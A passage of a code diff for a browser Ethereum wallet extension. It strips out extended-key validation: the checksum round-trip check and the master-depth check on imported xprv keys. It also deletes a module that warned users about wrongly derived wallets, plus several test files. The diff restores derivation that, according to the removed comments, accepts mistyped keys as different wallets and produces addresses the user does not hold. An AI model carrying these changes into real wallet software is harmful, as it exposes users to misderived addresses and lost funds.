-// ethers' HDNodeWallet.fromExtendedKey does NOT verify the base58 checksum
-// when the decoded payload is the usual 82 bytes, which is exactly the case
-// the checksum exists to catch: a key with a one-character typo parses into a
-// *different* wallet instead of being rejected. Re-encoding the parsed node
-// reproduces a well-formed key byte for byte, checksum included, so comparing
-// the round trip against the input rejects any altered character. Measured by
-// the sweep in tests/wallet.test.js over every single-character substitution
-// of the BIP-32 vector 1 master key: 199 parse without the round-trip
-// comparison, 0 with it.
-//
-// Returns the parsed node, or null if the key is not a well-formed extended
-// key. Callers turn null into a user-facing error; none of them may fall back
-// to fromExtendedKey directly.
-function parseExtendedKey(key) {
-    if (typeof key !== "string") return null;
-    try {
-        const node = HDNodeWallet.fromExtendedKey(key);
-        return node.extendedKey === key ? node : null;
-    } catch {
-        return null;
-    }
-}
-
-// A master key is at depth 0. Only from there is BIP44_ETH_PATH the absolute
-// path it names; deriving it under an account-level or child key yields
-// addresses that correspond to nothing the user holds.
-const MASTER_DEPTH = 0;
-
-// Parse an extended private key that the BIP-44 Ethereum account path can be
-// derived from, or throw. Both callers derive BIP44_ETH_PATH from the result.
-function masterXprvOrThrow(key) {
-    const node = parseExtendedKey(key);
-    if (!node) {
-        throw new Error("Not a valid extended private key (xprv).");
-    }
-    if (!node.privateKey) {
-        throw new Error("Not an extended private key (xprv).");
-    }
-    if (node.depth !== MASTER_DEPTH) {
-        throw new Error(
-            "Not a master extended private key (xprv): an account-level or " +
-                "child key cannot be imported.",
-        );
-    }
-    return node;
-}
-
 function deriveAddressFromXpub(xpub, index) {
-    const node = parseExtendedKey(xpub);
-    if (!node) {
-        throw new Error("Not a valid extended key.");
-    }
+    const node = HDNodeWallet.fromExtendedKey(xpub);
     return node.deriveChild(index).address;
 }
 
@@ -81,28 +29,23 @@ function hdWalletFromMnemonic(mnemonic) {
 }
 
 function hdWalletFromXprv(xprv) {
-    // BIP44_ETH_PATH is absolute ("m/..."), which ethers will only derive from
-    // a depth-0 node. The relative form this used to derive would have been
-    // applied *beneath* an account-level key instead of being refused.
-    const node = masterXprvOrThrow(xprv).derivePath(BIP44_ETH_PATH);
+    const root = HDNodeWallet.fromExtendedKey(xprv);
+    if (!root.privateKey) {
+        throw new Error("Not an extended private key (xprv).");
+    }
+    const node = root.derivePath("44'/60'/0'/0");
     const xpub = node.neuter().extendedKey;
     const firstAddress = node.deriveChild(0).address;
     return { xpub, firstAddress };
 }
 
-// Well-formed extended private key. Says nothing about depth: the import view
-// reports a non-master key separately, since "check it for a typo" is the
-// wrong advice for a key the user copied correctly.
 function isValidXprv(key) {
-    const node = parseExtendedKey(key);
-    return !!(node && node.privateKey);
-}
-
-// Whether an extended key is a master key, i.e. the one BIP44_ETH_PATH can be
-// derived from. False for anything parseExtendedKey rejects.
-function isMasterExtendedKey(key) {
-    const node = parseExtendedKey(key);
-    return !!node && node.depth === MASTER_DEPTH;
+    try {
+        const node = HDNodeWallet.fromExtendedKey(key);
+        return !!node.privateKey;
+    } catch {
+        return false;
+    }
 }
 
 function addressFromPrivateKey(key) {
@@ -120,24 +63,9 @@ function getSignerForAddress(walletData, addrIndex, decryptedSecret) {
         return node.deriveChild(addrIndex);
     }
     if (walletData.type === "xprv") {
-        // Checked here rather than through masterXprvOrThrow so the message
-        // fits the situation: nobody is importing anything at signing time,
-        // and this wallet is already in storage. src/shared/walletDefects.js
-        // catches it at list-render time; this is the backstop behind that.
-        const node = parseExtendedKey(decryptedSecret);
-        if (!node || !node.privateKey) {
-            throw new Error(
-                "This wallet's stored key is not a valid extended private " +
-                    "key, so it cannot sign.",
-            );
-        }
-        if (node.depth !== MASTER_DEPTH) {
-            throw new Error(
-                "This wallet was imported from an extended private key that " +
-                    "is not a master key, so it cannot sign.",
-            );
-        }
-        return node.derivePath(BIP44_ETH_PATH).deriveChild(addrIndex);
+        const root = HDNodeWallet.fromExtendedKey(decryptedSecret);
+        const node = root.derivePath("44'/60'/0'/0");
+        return node.deriveChild(addrIndex);
     }
     return new Wallet(decryptedSecret);
 }
@@ -146,25 +74,13 @@ function isValidMnemonic(mnemonic) {
     return Mnemonic.isValidMnemonic(mnemonic);
 }
 
-// Only an HD wallet has a recovery phrase. A "key" wallet holds a bare
-// private key and an "xprv" wallet an extended private key; neither can be
-// turned back into words, so neither may ever be offered the phrase display.
-// Written as an allowlist on purpose: a wallet type added later is excluded
-// until someone decides otherwise.
-function walletHasRecoveryPhrase(walletData) {
-    return !!walletData && walletData.type === "hd";
-}
-
 module.exports = {
     generateMnemonic,
-    parseExtendedKey,
     deriveAddressFromXpub,
     hdWalletFromMnemonic,
     hdWalletFromXprv,
     isValidXprv,
-    isMasterExtendedKey,
     addressFromPrivateKey,
     getSignerForAddress,
     isValidMnemonic,
-    walletHasRecoveryPhrase,
 };

src/shared/walletDefects.js

@@ -1,86 +0,0 @@
-// Wallets already in stored state whose key cannot be used, and the copy that
-// explains them.
-//
-// Refusing a non-master extended private key at import time does nothing for a
-// wallet imported before that refusal existed. Such a wallet is detected here,
-// at wallet-list render time, so the user meets the explanation on the list
-// screen rather than an exception on the send screen. Nothing here modifies or
-// removes a wallet: the record is the user's data.
-
-const { parseExtendedKey } = require("./wallet");
-
-const NON_MASTER_XPRV = "non-master-xprv";
-
-// An "xprv" wallet stores the neutered BIP-44 Ethereum node, four levels below
-// the key that was imported: the current import path derives the absolute
-// m/44'/60'/0'/0 from a depth-0 key, and the pre-#210 path derived the same
-// four levels as a relative path beneath whatever depth it was given. A master
-// import therefore stores a depth-4 xpub and a depth-d import stores depth
-// d + 4, which makes the stored xpub an exact read on the imported key's
-// depth — and it is readable without the password, unlike the key itself.
-const BIP44_ETH_XPUB_DEPTH = 4;
-
-const DEFECTS = {
-    [NON_MASTER_XPRV]: {
-        id: NON_MASTER_XPRV,
-        heading: "This wallet's addresses were derived incorrectly.",
-        paragraphs: [
-            "This wallet was imported from an extended private key that is " +
-                "not a master key. An earlier version applied the Ethereum " +
-                "derivation path beneath that key instead of from a master " +
-                "key, so the addresses listed here are not the ones that key " +
-                "produces under the standard path.",
-            "Signing and sending are disabled for this wallet. The addresses " +
-                "do descend from the extended private key you imported, so " +
-                "anything they hold is still reachable by software that " +
-                "repeats the same non-standard derivation. Check them in a " +
-                "block explorer before deciding what to do.",
-            "To see the addresses this key produces under the standard path, " +
-                "import the master extended private key, or the recovery " +
-                "phrase it came from, as a new wallet. Nothing here has been " +
-                "changed or removed, and this wallet stays until you delete " +
-                "it yourself.",
-        ],
-        // One sentence for the places that have room for one: the flash on a
-        // blocked Send, the inline error on the approval screens.
-        shortMessage:
-            "This wallet cannot sign, because it was imported from an " +
-            "extended private key that is not a master key. The wallet list " +
-            "explains what happened.",
-    },
-};
-
-// The defect record for a wallet, or null if there is nothing wrong with it
-// that this module can see. Read-only.
-//
-// A wallet whose xpub will not parse gets null rather than a defect: there is
-// no basis in that case to tell the user their key was not a master key, and a
-// wrong explanation is worse than none.
-function walletDefect(walletData) {
-    if (!walletData || walletData.type !== "xprv") return null;
-    const node = parseExtendedKey(walletData.xpub);
-    if (!node) return null;
-    if (node.depth === BIP44_ETH_XPUB_DEPTH) return null;
-    return DEFECTS[NON_MASTER_XPRV];
-}
-
-// The notice block for the wallet list, or "" for a wallet with no defect.
-// The copy is fixed text from this module, so it needs no escaping.
-function walletDefectHtml(walletData) {
-    const defect = walletDefect(walletData);
-    if (!defect) return "";
-    let html =
-        '<div class="border border-red-500 border-dashed p-2 my-1 text-xs text-red-500">';
-    html += `<div class="font-bold mb-1">${defect.heading}</div>`;
-    for (const p of defect.paragraphs) {
-        html += `<p class="mb-1">${p}</p>`;
-    }
-    html += "</div>";
-    return html;
-}
-
-module.exports = {
-    NON_MASTER_XPRV,
-    walletDefect,
-    walletDefectHtml,
-};

src/shared/walletDelete.js

@@ -1,24 +1,5 @@
-// Wallet and address deletion state transitions, kept out of the views so the
-// selection and broadcast rules are testable without a DOM.
-
-const { notify } = require("./browserApi");
-
-// Two records of the same address can be stored in different cases, so
-// address equality is never a literal string comparison.
-function sameAddress(a, b) {
-    if (a === null || a === undefined || b === null || b === undefined) {
-        return false;
-    }
-    return String(a).toLowerCase() === String(b).toLowerCase();
-}
-
-// Forget every site permission held against the given addresses.
-function dropSitePermissions(state, addresses) {
-    for (const addr of addresses) {
-        delete state.allowedSites[addr];
-        delete state.deniedSites[addr];
-    }
-}
+// Wallet deletion state transition, kept out of the view so the selection
+// and broadcast rules are testable without a DOM.
 
 // Remove wallet `walletIdx` from `state` and repair the derived state.
 //
@@ -37,13 +18,19 @@ function removeWalletFromState(state, walletIdx) {
     const wallet = state.wallets[walletIdx];
     const addresses = (wallet.addresses || []).map((a) => a.address);
     const previousActive = state.activeAddress;
-    const activeWasDeleted = addresses.some((a) =>
-        sameAddress(a, previousActive),
-    );
+    const activeWasDeleted =
+        previousActive !== null &&
+        previousActive !== undefined &&
+        addresses.some(
+            (a) => a.toLowerCase() === String(previousActive).toLowerCase(),
+        );
 
     state.wallets.splice(walletIdx, 1);
 
-    dropSitePermissions(state, addresses);
+    for (const addr of addresses) {
+        delete state.allowedSites[addr];
+        delete state.deniedSites[addr];
+    }
 
     state.hasWallet = state.wallets.length > 0;
 
@@ -71,87 +58,13 @@ function removeWalletFromState(state, walletIdx) {
     return { activeAddressChanged: state.activeAddress !== previousActive };
 }
 
-// Whether a wallet may be offered a per-address remove control, and the same
-// gate the removal itself is held behind.
-//
-// Only a wallet that derives its addresses from an extended key can hold more
-// than one, so only those get the control — a key wallet has exactly one
-// address and no "+" button either. The last address of any wallet is never
-// removable: a wallet with no addresses is what delete-wallet is for.
-function canRemoveAddress(wallet) {
-    if (!wallet) return false;
-    if (wallet.type !== "hd" && wallet.type !== "xprv") return false;
-    return (wallet.addresses || []).length > 1;
-}
-
-// Remove address `addrIdx` of wallet `walletIdx` and repair the derived state.
-//
-// Nothing is destroyed here. The address stays derivable from the wallet's own
-// key material and any funds at it are untouched; this only stops the wallet
-// tracking it. `nextIndex` is deliberately left alone — it is a derivation
-// high-water mark, so "+" derives a fresh index rather than handing back the
-// address just removed, and the gap it leaves is within what
-// `scanForAddresses()` re-discovers on a later import.
-//
-// The rules mirror removeWalletFromState() one level down:
-//   - The call is refused unless canRemoveAddress() allows it, so the last
-//     address of a wallet always survives.
-//   - Site permissions are dropped for the removed address.
-//   - `selectedAddress` follows the splice, but only within the wallet that
-//     lost the address: it is decremented when an earlier address was
-//     removed, and falls back to that wallet's first address when the
-//     selection itself was removed. `selectedWallet` never moves, because the
-//     wallet list does not.
-//   - `activeAddress` moves only when it was the removed address, and then to
-//     the wallet's first remaining address.
-//
-// Returns whether the address was removed and whether `activeAddress`
-// changed, so the caller can broadcast it.
-function removeAddressFromState(state, walletIdx, addrIdx) {
-    const wallet = state.wallets[walletIdx];
-    const refused = { removed: false, activeAddressChanged: false };
-    if (!canRemoveAddress(wallet)) return refused;
-    if (!wallet.addresses[addrIdx]) return refused;
-
-    const address = wallet.addresses[addrIdx].address;
-    const previousActive = state.activeAddress;
-    const activeWasRemoved = sameAddress(address, previousActive);
-
-    wallet.addresses.splice(addrIdx, 1);
-
-    dropSitePermissions(state, [address]);
-
-    if (state.selectedWallet === walletIdx) {
-        if (state.selectedAddress === addrIdx) {
-            state.selectedAddress = 0;
-        } else if (
-            typeof state.selectedAddress === "number" &&
-            state.selectedAddress > addrIdx
-        ) {
-            state.selectedAddress -= 1;
-        }
-    }
-
-    if (activeWasRemoved) {
-        state.activeAddress = wallet.addresses[0].address;
-    }
-
-    return {
-        removed: true,
-        activeAddressChanged: state.activeAddress !== previousActive,
-    };
-}
-
 // Tell the background the active address changed, so it re-emits
 // accountsChanged to connected sites. Same call shape as the address
 // switch in the home view.
 function broadcastActiveChanged() {
-    notify({ type: "AUTISTMASK_ACTIVE_CHANGED" });
+    const runtime =
+        typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
+    runtime.sendMessage({ type: "AUTISTMASK_ACTIVE_CHANGED" });
 }
 
-module.exports = {
-    canRemoveAddress,
-    removeAddressFromState,
-    removeWalletFromState,
-    broadcastActiveChanged,
-};
+module.exports = { removeWalletFromState, broadcastActiveChanged };

tests/addressValue.test.js

@@ -1,238 +0,0 @@
-// The USD total of an address that holds something this build cannot price
-// (issue #261).
-//
-// Prices exist for the top 25 tokens only, so an address can hold real assets
-// with no price attached. Summing what is priced and printing the result as
-// the total says "$0.00" for an address holding nothing but unpriced tokens —
-// worth-nothing and worth-an-unknown-amount collapsed into one number, in the
-// direction that matters. The two are separate facts here, the same way an
-// absent holders_count is not a count of zero.
-//
-// The value and its rendering are asserted directly, and then through the two
-// call sites that return their markup as a string: the wallet list on Home and
-// the balance warning on the address-removal confirmation. AddressDetail and
-// the Home summary line render into the DOM and are covered by tests/e2e.
-
-// helpers.js pulls in state.js, which reads chrome.storage.local at load.
-globalThis.chrome = {
-    storage: { local: { get: async () => ({}), set: async () => {} } },
-};
-
-const {
-    prices,
-    clearPrices,
-    getAddressValue,
-    getWalletValue,
-    getTotalValue,
-    formatAddressTotal,
-} = require("../src/shared/prices");
-const { state } = require("../src/shared/state");
-const { walletListHtml } = require("../src/popup/views/home");
-const { balanceWarningHtml } = require("../src/popup/views/deleteAddress");
-
-const USDC = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
-const NOVEL = "0x1111111111111111111111111111111111111111";
-
-// No ETH, and a token no price is known for. The case the user is told is
-// worth $0.00 today.
-const UNPRICED_ONLY = {
-    address: "0x" + "a".repeat(40),
-    balance: "0",
-    tokenBalances: [{ address: NOVEL, symbol: "NOVEL", balance: "5000.0" }],
-};
-
-// Nothing at all: the address really is worth zero.
-const EMPTY = {
-    address: "0x" + "b".repeat(40),
-    balance: "0",
-    tokenBalances: [],
-};
-
-// Every holding priced.
-const FULLY_PRICED = {
-    address: "0x" + "c".repeat(40),
-    balance: "1.5",
-    tokenBalances: [{ address: USDC, symbol: "USDC", balance: "2500.0" }],
-};
-
-// Part priced, part not: 1.5 ETH plus a token with no price.
-const PARTLY_PRICED = {
-    address: "0x" + "d".repeat(40),
-    balance: "1.5",
-    tokenBalances: [{ address: NOVEL, symbol: "NOVEL", balance: "5000.0" }],
-};
-
-beforeEach(() => {
-    clearPrices();
-    prices.ETH = 2000;
-    prices.USDC = 1;
-    state.wallets = [];
-    state.trackedTokens = [];
-    state.showZeroBalanceTokens = false;
-    state.activeAddress = null;
-});
-
-afterEach(() => {
-    clearPrices();
-});
-
-// The total line only, in each of the two markup-returning call sites. The
-// ETH balance line above it legitimately reads $0.00 for an address with no
-// ETH, so the assertions have to name the line under test.
-function walletListTotal(addr) {
-    state.wallets = [{ name: "Wallet 1", type: "hd", addresses: [addr] }];
-    const match = walletListHtml().match(/min-h-\[1rem\]">([^<]*)</);
-    return match && match[1];
-}
-
-function removalWarningTotal(addr) {
-    const match = balanceWarningHtml(addr).match(/mt-1">([^<]*)</);
-    return match && match[1];
-}
-
-describe("the value of an address, and whether it is the whole value", () => {
-    test("an address holding only unpriced tokens has an incomplete value", () => {
-        expect(getAddressValue(UNPRICED_ONLY)).toEqual({
-            usd: 0,
-            partial: true,
-        });
-    });
-
-    test("an address holding nothing is complete, and zero", () => {
-        expect(getAddressValue(EMPTY)).toEqual({ usd: 0, partial: false });
-    });
-
-    test("a fully priced address is complete, and unchanged", () => {
-        expect(getAddressValue(FULLY_PRICED)).toEqual({
-            usd: 5500,
-            partial: false,
-        });
-    });
-
-    test("a partly priced address keeps the part it can price", () => {
-        expect(getAddressValue(PARTLY_PRICED)).toEqual({
-            usd: 3000,
-            partial: true,
-        });
-    });
-
-    // A token balance of zero is not a holding, so it cannot make the total
-    // incomplete: an address with a spent-out unpriced token is worth zero.
-    test("a zero balance in an unpriced token leaves the value complete", () => {
-        const addr = {
-            address: "0x1",
-            balance: "0",
-            tokenBalances: [{ address: NOVEL, symbol: "NOVEL", balance: "0" }],
-        };
-        expect(getAddressValue(addr)).toEqual({ usd: 0, partial: false });
-    });
-
-    // Before the first price fetch, and on testnet, nothing is knowable: that
-    // is a third state, and it stays distinct from both of the others.
-    test("no prices at all means no value, not an incomplete one", () => {
-        clearPrices();
-        expect(getAddressValue(FULLY_PRICED)).toEqual({
-            usd: null,
-            partial: false,
-        });
-    });
-
-    test("one unpriced holding makes a wallet and the grand total partial", () => {
-        const wallet = { addresses: [FULLY_PRICED, UNPRICED_ONLY] };
-        expect(getWalletValue(wallet)).toEqual({ usd: 5500, partial: true });
-        expect(getTotalValue([wallet])).toEqual({ usd: 5500, partial: true });
-    });
-
-    test("a wallet of fully priced addresses stays complete", () => {
-        const wallet = { addresses: [FULLY_PRICED, EMPTY] };
-        expect(getWalletValue(wallet)).toEqual({ usd: 5500, partial: false });
-    });
-});
-
-describe("how that value is written on screen", () => {
-    test("a complete total is the figure", () => {
-        expect(formatAddressTotal(getAddressValue(FULLY_PRICED))).toBe(
-            "Total: $5,500.00",
-        );
-    });
-
-    test("an address worth zero says so", () => {
-        expect(formatAddressTotal(getAddressValue(EMPTY))).toBe("Total: $0.00");
-    });
-
-    // The figure is still worth having — it is the ETH the user does hold —
-    // but on its own it understates the address, so it is named as partial.
-    test("a partly priced total is given, and marked as partial", () => {
-        expect(formatAddressTotal(getAddressValue(PARTLY_PRICED))).toBe(
-            "Total: $3,000.00 plus unpriced tokens",
-        );
-    });
-
-    // Nothing priced is held, so there is no figure to give: printing the
-    // $0.00 sum of an empty set is the bug.
-    test("a total with nothing priced in it gives no figure", () => {
-        const line = formatAddressTotal(getAddressValue(UNPRICED_ONLY));
-        expect(line).toBe("Total: unpriced tokens only");
-        expect(line).not.toContain("$");
-    });
-
-    test("an unknown value is written as nothing at all", () => {
-        clearPrices();
-        expect(formatAddressTotal(getAddressValue(FULLY_PRICED))).toBe("");
-    });
-});
-
-describe("the wallet list on Home", () => {
-    test("an address holding only unpriced tokens is not totalled at $0.00", () => {
-        expect(walletListTotal(UNPRICED_ONLY)).toBe(
-            "Total: unpriced tokens only",
-        );
-    });
-
-    test("an address holding nothing is still totalled at $0.00", () => {
-        expect(walletListTotal(EMPTY)).toBe("Total: $0.00");
-    });
-
-    test("a fully priced address shows its total", () => {
-        expect(walletListTotal(FULLY_PRICED)).toBe("Total: $5,500.00");
-    });
-
-    test("a partly priced address shows the priced part, marked partial", () => {
-        expect(walletListTotal(PARTLY_PRICED)).toBe(
-            "Total: $3,000.00 plus unpriced tokens",
-        );
-    });
-
-    test("an address whose value is unknown keeps its blank line", () => {
-        clearPrices();
-        expect(walletListTotal(FULLY_PRICED)).toBe("&nbsp;");
-    });
-});
-
-describe("the balance warning on the address-removal confirmation", () => {
-    // "This address holds a balance." followed by "Total: $0.00" is a flat
-    // contradiction, on the one screen whose job is to warn.
-    test("an address holding only unpriced tokens is not totalled at $0.00", () => {
-        expect(balanceWarningHtml(UNPRICED_ONLY)).toContain(
-            "This address holds a balance.",
-        );
-        expect(removalWarningTotal(UNPRICED_ONLY)).toBe(
-            "Total: unpriced tokens only",
-        );
-    });
-
-    test("a fully priced address still shows its total", () => {
-        expect(removalWarningTotal(FULLY_PRICED)).toBe("Total: $5,500.00");
-    });
-
-    test("a partly priced address shows the priced part, marked partial", () => {
-        expect(removalWarningTotal(PARTLY_PRICED)).toBe(
-            "Total: $3,000.00 plus unpriced tokens",
-        );
-    });
-
-    test("no total line is written when the value is unknown", () => {
-        clearPrices();
-        expect(removalWarningTotal(FULLY_PRICED)).toBe(null);
-    });
-});

tests/alarms.test.js

@@ -1,496 +0,0 @@
-// Scheduling for the background context.
-//
-// The Chrome MV3 service worker is terminated after roughly 30 seconds idle,
-// so anything scheduled with setInterval/setTimeout dies with it. These tests
-// pin the recurring jobs to the alarms API and to the re-registration path a
-// revived worker runs.
-
-// A controllable clock plus a stubbed balance refresh, so a cadence test can
-// measure the interval between refreshes that actually happened rather than
-// asserting the interval someone intended.
-const { makeStorageStub } = require("./support/storageStub");
-
-let mockNow = 0;
-const mockBalanceRefreshAt = [];
-
-// jest.resetModules() clears the call record of every jest.fn, and loading the
-// worker is exactly that call — so anything that must be counted across a load
-// is counted here rather than read off a mock.
-let mockSetIntervalCalls = 0;
-
-// Extension storage reads do not take a constant amount of time, and that is
-// what makes a guard timed to the alarm period bite: backgroundRefresh()
-// stamps its freshness marker after awaiting loadState(), so any read that is
-// quicker than the previous one puts the next tick inside a guard of exactly
-// one period and the tick is skipped. A simulation with a constant latency
-// would sit exactly on the boundary and hide the bug.
-const MOCK_STORAGE_LATENCIES_MS = [7, 3, 11, 2, 9, 4, 13, 1, 6, 5];
-const MOCK_MAX_STORAGE_LATENCY_MS = Math.max(...MOCK_STORAGE_LATENCIES_MS);
-let mockStorageJitter = false;
-let mockStorageOpCount = 0;
-
-function mockStorageTick() {
-    if (!mockStorageJitter) return;
-    mockNow +=
-        MOCK_STORAGE_LATENCIES_MS[
-            mockStorageOpCount++ % MOCK_STORAGE_LATENCIES_MS.length
-        ];
-}
-
-jest.mock("../src/shared/balances", () => ({
-    refreshBalances: jest.fn(async () => {
-        mockBalanceRefreshAt.push(Date.now());
-    }),
-    getProvider: jest.fn(() => ({})),
-}));
-
-function makeAlarmsStub() {
-    const alarms = new Map();
-    const listeners = [];
-    const stub = {
-        created: [],
-        alarms,
-        create: jest.fn((name, info) => {
-            stub.created.push({ name, info });
-            alarms.set(name, { name, ...info });
-        }),
-        get: jest.fn(async (name) => alarms.get(name)),
-        clear: jest.fn(async (name) => alarms.delete(name)),
-        onAlarm: {
-            addListener: jest.fn((fn) => listeners.push(fn)),
-        },
-        fire: (name) => {
-            for (const fn of listeners) fn({ name });
-        },
-        listenerCount: () => listeners.length,
-    };
-    return stub;
-}
-
-describe("alarms module", () => {
-    let alarmsStub;
-    let alarmsMod;
-
-    beforeEach(() => {
-        jest.resetModules();
-        alarmsStub = makeAlarmsStub();
-        global.chrome = { alarms: alarmsStub };
-        alarmsMod = require("../src/shared/alarms");
-    });
-
-    afterEach(() => {
-        delete global.chrome;
-    });
-
-    test("ensureRecurringAlarms schedules the recurring job", async () => {
-        const created = await alarmsMod.ensureRecurringAlarms();
-        expect(created).toEqual({ balance: true, cleared: [] });
-
-        const names = alarmsStub.created.map((c) => c.name);
-        expect(names).toEqual([alarmsMod.BALANCE_REFRESH_ALARM]);
-    });
-
-    test("the balance refresh keeps its 60-second cadence", async () => {
-        await alarmsMod.ensureRecurringAlarms();
-        const balance = alarmsStub.alarms.get(alarmsMod.BALANCE_REFRESH_ALARM);
-        expect(balance.periodInMinutes).toBe(1);
-    });
-
-    test("a retired job's alarm is cleared, not left running", async () => {
-        // The browser holds an alarm until something clears it. Deleting the
-        // job from the code is not enough: on every install that ever ran the
-        // version which created it, the alarm goes on waking the service
-        // worker on its old schedule with nothing to deliver it to.
-        for (const name of alarmsMod.OBSOLETE_ALARMS) {
-            alarmsStub.create(name, { periodInMinutes: 24 * 60 });
-        }
-        expect(alarmsMod.OBSOLETE_ALARMS.length).toBeGreaterThan(0);
-
-        const result = await alarmsMod.ensureRecurringAlarms();
-        expect(result.cleared).toEqual(alarmsMod.OBSOLETE_ALARMS);
-        for (const name of alarmsMod.OBSOLETE_ALARMS) {
-            expect(alarmsStub.alarms.get(name)).toBeUndefined();
-        }
-    });
-
-    test("clearing a retired alarm is not re-reported once it is gone", async () => {
-        await alarmsMod.ensureRecurringAlarms();
-        const again = await alarmsMod.ensureRecurringAlarms();
-        expect(again.cleared).toEqual([]);
-    });
-
-    test("no retired name is also a live one", async () => {
-        // A name in both lists would be created and then cleared on every
-        // start, so the job it schedules would never fire.
-        expect(alarmsMod.OBSOLETE_ALARMS).not.toContain(
-            alarmsMod.BALANCE_REFRESH_ALARM,
-        );
-    });
-
-    test("no period is below the browser-enforced minimum", async () => {
-        // A period under one minute is silently clamped by the browser, so a
-        // request for one would mean the documented cadence is not the real
-        // one. Every period must be a whole minute at or above the minimum.
-        await alarmsMod.ensureRecurringAlarms();
-        for (const { info } of alarmsStub.created) {
-            expect(info.periodInMinutes).toBeGreaterThanOrEqual(
-                alarmsMod.MIN_ALARM_PERIOD_MINUTES,
-            );
-            expect(Number.isInteger(info.periodInMinutes)).toBe(true);
-        }
-    });
-
-    test("a revived worker does not reset an existing alarm's schedule", async () => {
-        await alarmsMod.ensureRecurringAlarms();
-        expect(alarmsStub.create).toHaveBeenCalledTimes(1);
-
-        // Every wake re-runs the startup path. Re-creating an alarm restarts
-        // its period, so a busy extension would push the next fire out
-        // forever and the job would never run.
-        const again = await alarmsMod.ensureRecurringAlarms();
-        expect(again).toEqual({ balance: false, cleared: [] });
-        expect(alarmsStub.create).toHaveBeenCalledTimes(1);
-    });
-
-    test("a missing alarm is re-created on the next start", async () => {
-        await alarmsMod.ensureRecurringAlarms();
-        await alarmsStub.clear(alarmsMod.BALANCE_REFRESH_ALARM);
-
-        const again = await alarmsMod.ensureRecurringAlarms();
-        expect(again).toEqual({ balance: true, cleared: [] });
-        expect(
-            alarmsStub.alarms.get(alarmsMod.BALANCE_REFRESH_ALARM),
-        ).toBeDefined();
-    });
-
-    test("an alarm left over with a stale period is re-created", async () => {
-        // An install carries its alarms across an extension update, so a
-        // period changed in a new release only ever reaches users if the
-        // stale one is reconciled.
-        alarmsStub.create(alarmsMod.BALANCE_REFRESH_ALARM, {
-            periodInMinutes: 7 * 24 * 60,
-        });
-        alarmsStub.create.mockClear();
-
-        const created = await alarmsMod.ensureRecurringAlarms();
-        expect(created.balance).toBe(true);
-        expect(
-            alarmsStub.alarms.get(alarmsMod.BALANCE_REFRESH_ALARM)
-                .periodInMinutes,
-        ).toBe(alarmsMod.BALANCE_REFRESH_PERIOD_MINUTES);
-    });
-
-    test("reconciling a period settles instead of re-creating forever", async () => {
-        alarmsStub.create(alarmsMod.BALANCE_REFRESH_ALARM, {
-            periodInMinutes: 30,
-        });
-        await alarmsMod.ensureRecurringAlarms();
-        alarmsStub.create.mockClear();
-
-        const again = await alarmsMod.ensureRecurringAlarms();
-        expect(again).toEqual({ balance: false, cleared: [] });
-        expect(alarmsStub.create).not.toHaveBeenCalled();
-    });
-
-    test("handlers are dispatched by alarm name from one listener", () => {
-        const balance = jest.fn();
-        const other = jest.fn();
-        expect(
-            alarmsMod.registerAlarmHandlers({
-                [alarmsMod.BALANCE_REFRESH_ALARM]: balance,
-                "autistmask-some-other-job": other,
-            }),
-        ).toBe(true);
-        expect(alarmsStub.listenerCount()).toBe(1);
-
-        alarmsStub.fire(alarmsMod.BALANCE_REFRESH_ALARM);
-        expect(balance).toHaveBeenCalledTimes(1);
-        expect(other).not.toHaveBeenCalled();
-
-        alarmsStub.fire("autistmask-some-other-job");
-        expect(other).toHaveBeenCalledTimes(1);
-
-        alarmsStub.fire("an-alarm-with-no-handler");
-        expect(balance).toHaveBeenCalledTimes(1);
-        expect(other).toHaveBeenCalledTimes(1);
-    });
-
-    test("Firefox MV2 gets the same treatment via browser.alarms", async () => {
-        // Both targets are built from one bundle. MV2 has a persistent
-        // background page, but it takes the alarm path too, so the schedule
-        // is the same code on both browsers.
-        jest.resetModules();
-        const firefoxAlarms = makeAlarmsStub();
-        global.browser = { alarms: firefoxAlarms };
-        try {
-            const mod = require("../src/shared/alarms");
-            const created = await mod.ensureRecurringAlarms();
-            expect(created).toEqual({ balance: true, cleared: [] });
-            expect(firefoxAlarms.created).toHaveLength(1);
-            // The Chrome stub must not have been touched.
-            expect(alarmsStub.create).not.toHaveBeenCalled();
-        } finally {
-            delete global.browser;
-        }
-    });
-
-    test("a context without the alarms API degrades instead of throwing", async () => {
-        jest.resetModules();
-        delete global.chrome;
-        const mod = require("../src/shared/alarms");
-        await expect(mod.ensureRecurringAlarms()).resolves.toEqual({
-            balance: false,
-            cleared: [],
-        });
-        expect(mod.registerAlarmHandlers({})).toBe(false);
-    });
-});
-
-// Loads the background worker against stubbed browser APIs. The returned
-// store is the extension storage the worker sees, so a test can seed wallet
-// state and read back what the worker persisted.
-// The stub clones in both directions, as the real chrome.storage.local does,
-// and carries the latency simulation above on every operation. It used to
-// alias, which for this file meant the worker's in-memory wallets and the
-// "stored" ones were one object — see tests/support/storageStub.js.
-function loadBackground(initialStore = {}) {
-    const storage = makeStorageStub(initialStore, mockStorageTick);
-    const alarmsStub = makeAlarmsStub();
-    const listeners = { onInstalled: [], onStartup: [] };
-    global.chrome = {
-        alarms: alarmsStub,
-        storage,
-        runtime: {
-            onMessage: { addListener: jest.fn() },
-            onConnect: { addListener: jest.fn() },
-            onInstalled: {
-                addListener: jest.fn((fn) => listeners.onInstalled.push(fn)),
-            },
-            onStartup: {
-                addListener: jest.fn((fn) => listeners.onStartup.push(fn)),
-            },
-            getURL: (p) => "chrome-extension://test/" + p,
-            lastError: null,
-        },
-        windows: {
-            onRemoved: { addListener: jest.fn() },
-            create: jest.fn(),
-        },
-        tabs: { query: jest.fn(), sendMessage: jest.fn() },
-        action: { setPopup: jest.fn() },
-    };
-    // Present so that a startup path which went to the network would be
-    // recorded rather than throwing, which is what makes "no request was made"
-    // an observation instead of an assumption.
-    global.fetch = jest.fn(async () => ({
-        ok: true,
-        json: async () => ({}),
-    }));
-    jest.resetModules();
-    require("../src/background/index");
-    return { alarmsStub, listeners, storage };
-}
-
-// Flush the promise chains the startup path and the alarm handlers run on.
-async function settle() {
-    for (let i = 0; i < 3; i++) {
-        await new Promise((resolve) => setImmediate(resolve));
-    }
-}
-
-describe("background worker scheduling", () => {
-    let alarmsStub;
-    let timers;
-
-    beforeEach(() => {
-        mockSetIntervalCalls = 0;
-        timers = {
-            setInterval: jest
-                .spyOn(global, "setInterval")
-                .mockImplementation(() => {
-                    mockSetIntervalCalls++;
-                    return 0;
-                }),
-        };
-    });
-
-    afterEach(() => {
-        timers.setInterval.mockRestore();
